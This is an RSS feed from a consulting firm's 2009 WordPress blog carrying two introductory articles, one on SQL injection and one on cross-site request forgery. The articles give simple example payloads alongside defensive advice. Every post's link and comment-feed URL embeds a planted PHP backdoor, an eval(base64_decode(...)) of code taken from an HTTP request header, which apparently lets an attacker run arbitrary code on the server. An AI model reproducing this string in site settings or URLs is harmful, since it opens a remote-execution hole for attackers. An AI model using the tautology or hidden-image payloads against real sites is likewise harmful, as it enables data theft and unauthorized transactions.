<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Knowledge@adpsconsulting.com &#187; Security</title>
	<atom:link href="http://adpsconsulting.com/knowledge/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://adpsconsulting.com/knowledge</link>
	<description>Knowledge@ADPS</description>
	<lastBuildDate>Wed, 05 Aug 2009 10:00:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Security Threats &#8211; II: SQL Injection</title>
		<link>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 09:59:37 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[php appliation security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=147</guid>
		<description><![CDATA[In this article, the second in our website security attacks series, we look at the hows and whys of SQL injection.
SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">In this article, the second in our website security attacks series, we look at the hows and whys of SQL injection.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is not correctly filtered for string literal escape cahracters. Successful SQL exploits can read data from the database and DBMS files, make modifications to it and execute administrative functions on the database.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">How does this work? Let&#8217;s take a simple query</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><code>Select * from user_details where username = ;</code></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The webpage probably has something similar to the following to capture the username and pass it on to the  backend:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">string userName = field.getUserName();</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">string query = “Select * from user_details where username = &#8216;” + userName + “&#8217;”;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If a malicious user wanted to obtain the contents of the entire table (and the application is vulnerable to SQL injection attacks), all he would have to do is, instead of just typing in a username, he&#8217;d input &lt;m_user&#8217; OR &#8216;x&#8217;='x&gt;. When this gets inserted into the query, the query gets transformed into</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Select * from user_details where username = &#8216;m_user&#8217; OR &#8216;x&#8217;='x&#8217;;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Because &#8216;x&#8217; always equals &#8216;x&#8217;; the condition is always true and the query, which essentially converts into &#8216;Select * from user_details;&#8217;  returns the entire contents of the table user_details.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Hackers can make use of this vulnerability to obtain data and perpetrate malicious attacks on websites. Some databases allow multiple SQL statements separated by semicolons to be executed as a batch, allowing the attacker to execute arbitrary commands on the database.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">How can you avoid such an attack on your website? A simple approach is to accept characters only from an allowed list of safe characters. This provides a first layer of security for the application. Another way is to use parameterized statements and stored procedures. Also, it must be ensured that the account with the least privileges is used for all user interactions. These precautions will go a long way in preventing your site from being hacked.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">http://www.owasp.org/index.php/Guide_to_SQL_Injection; http://en.wikipedia.org/wiki/SQL_injection; http://www.owasp.org/index.php/SQL_injection</div>
<p>In this article, the second in our series of articles on website security attacks, we look at the hows and whys of SQL injection.</p>
<p>SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is not correctly filtered for string literal escape characters. Successful SQL exploits can read data from the database and DBMS files, make modifications to it and execute administrative functions on the database.</p>
<p>How does this work? Let&#8217;s take a simple query:</p>
<p style="text-align: left;"><em>Select * from user_details where username = ;</em></p>
<p>The web page probably has something similar to the following to capture the username and pass it on to the  backend:</p>
<p style="text-align: left;"><em>{ &#8230;</em></p>
<p style="text-align: left;"><em>string userName = field.getUserName();</em></p>
<p style="text-align: left;"><em>string query = “Select * from user_details where username = &#8216;” + userName + “&#8217;”;</em></p>
<p style="text-align: left;"><em>&#8230;}</em></p>
<p>If a malicious user wanted to obtain the contents of the entire table (and the application is vulnerable to SQL injection attacks), instead of just typing in a username, he&#8217;d input &lt;m_user&#8217; OR &#8216;x&#8217;='x&gt;. When this gets inserted into the query, the query gets transformed into:</p>
<p style="text-align: left;"><em>Select * from user_details where username = &#8216;m_user&#8217; OR &#8216;x&#8217;='x&#8217;;</em></p>
<p>Because &#8216;x&#8217; always equals &#8216;x&#8217;, the condition is always true and the query, which essentially converts into <em>&#8216;Select * from user_details;&#8217; </em> returns the entire contents of the table user_details.</p>
<p>Hackers can make use of this vulnerability to obtain data and perpetrate malicious attacks on websites. Some databases allow multiple SQL statements separated by semicolons to be executed as a batch, allowing the attacker to execute arbitrary commands on the database.</p>
<p>How can you avoid such an attack on your website? A simple approach is to accept characters only from an allowed list of safe characters. This provides a first layer of security for the application. Another way is to use parameterized statements and stored procedures. Also, it must be ensured that the account with the least privileges is used for all user interactions. These precautions will go a long way in preventing your site from being hacked.</p>
<p style="text-align: left;"><em>References: http://www.owasp.org/index.php/Guide_to_SQL_Injection; http://en.wikipedia.org/wiki/SQL_injection; http://www.owasp.org/index.php/SQL_injection </em></p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security Threats &#8211; I: Cross Site Request Forgery</title>
		<link>http://adpsconsulting.com/knowledge/2009/07/07/security-threats-i-cross-site-request-forgery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/07/07/security-threats-i-cross-site-request-forgery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 09:35:33 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[cross site request forgery]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[php appliation security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=79</guid>
		<description><![CDATA[Website security is a burning issue these days. We read about hackers gaining illegal access to government websites and banking and other secure sites almost every day. With this in mind, this is the first of a series of articles where we  intend to explain various forms of website security threats.
This article takes a look [...]]]></description>
			<content:encoded><![CDATA[<p>Website security is a burning issue these days. We read about hackers gaining illegal access to government websites and banking and other secure sites almost every day. With this in mind, this is the first of a series of articles where we  intend to explain various forms of website security threats.</p>
<p>This article takes a look at Cross Site Request Forgery (XSRF or CSRF), and what you, as a user or as an application owner, can do to avoid it.</p>
<p>CSRF is an attack from that enables an attacker to send HTTP requests from a victim’s computer without his/her knowledge. To elaborate: Assume that you checked the ‘Keep me signed in’ box when you logged in to your blog. This means that your security credentials are stored on your computer and sent by the browser to the site every time you make a request. You trust that the website will not impinge on your privacy and security, while the website trusts that any request coming with your credentials embedded in it actually comes from you. With this being the situation, it is very easy for an attacker to make unauthorized actions on the website while pretending to be you. Let’s see how.</p>
<p>Let’s assume that Jane generally uses the website examplestocks.com to trade in stocks. Since she uses the website quite frequently, she clicks on the ‘Keep me signed in’ box while logging in the first time to avoid having to key in her credentials every time she wants to look at the stock price. A malicious attacker wants to make use of this fact to sell some of Jane&#8217;s shares without Jane knowing about it. The attacker knows that the request to buy/sell is sent to the website in the form <span style="color: grey; "> ‘http://examplestocks.com/sell.php?uid=Jane&amp;symbol=XYZ&amp;sharestosell=100’</span>.</p>
<p>Before we proceed, some background of how a webpage is generated by a browser: When a browser makes a request, it receives a bunch of HTML code, which it then parses to render the page to the user. Attackers commonly use the tags that are used to include images on a webpage. The image tag is as follows: <span style="color: grey; "> &lt;img src=&#8221;http://examplestocks.com/stock.gif&#8221;&gt; </span>. When the browser comes across this tag, it sends a request to the server, and uses a standard ‘Get’ request to do so. It is impossible for the browser to differentiate between requests for different resources.</p>
<p>The attacker embeds the sell request within a blank image, i.e., the image tag will look like this: <span style="color: grey; "> &lt;img src=&#8221; http://examplestocks.com/sell.php?uid=Jane&amp;symbol=XYZ&amp;sharestosell=100&#8243;&gt;</span>, and makes the image part of, for example, an email. When Jane opens the email to read it, the html in it is parsed, and the request embedded in the email is sent to the website examplestocks.com, and the 100 stocks belonging to Jane in company XYZ are sold, all without Jane being aware of it.  Since the browser automatically supplies the required credentials (remember, Jane is logged in), the server has no way to validate whether the request has, in fact, come from Jane.</p>
<p>You, as a user, do not really have any control over this, since security is defined by the application; however, it may make sense to not keep yourself signed into important accounts like the one in the example above.</p>
<p>You, as an application owner, can take some precautions to ensure that your website is not prone to such attacks. One simple way of doing this is to append user session tokens, which expire after a set time, with each request. The malicious attacker will have no way to replicate this token, thus ensuring that there is no simple way for a non-user to access the site. For example, if you do your bank transaction over the Internet, you may see a ‘Session Expired, Please Login Again’ message if you take too long to input the wire transfer details after logging in. This does not offer complete protection, since an attacker could use complex Cross Site Scripting (XSS) or make use of browser vulnerabilities to perpetrate the attack. The only way to avoid such attacks on your application is by following rigorous coding and security processes to ensure that there are no loopholes in the code that can be exploited.</p>
<p align="left"><em> Source: </em><em>http://shiflett.org/articles/cross-site-request-forgeries</em><em>, </em><em>http://www.cgisecurity.com/csrf-faq.html</em><em>, </em><em>http://www.owasp.org/index.php/Cross-Site_Request_Forgery</em><em>, </em><em>http://www.debian-administration.org/article/Improving_website_security</em></p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/07/07/security-threats-i-cross-site-request-forgery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
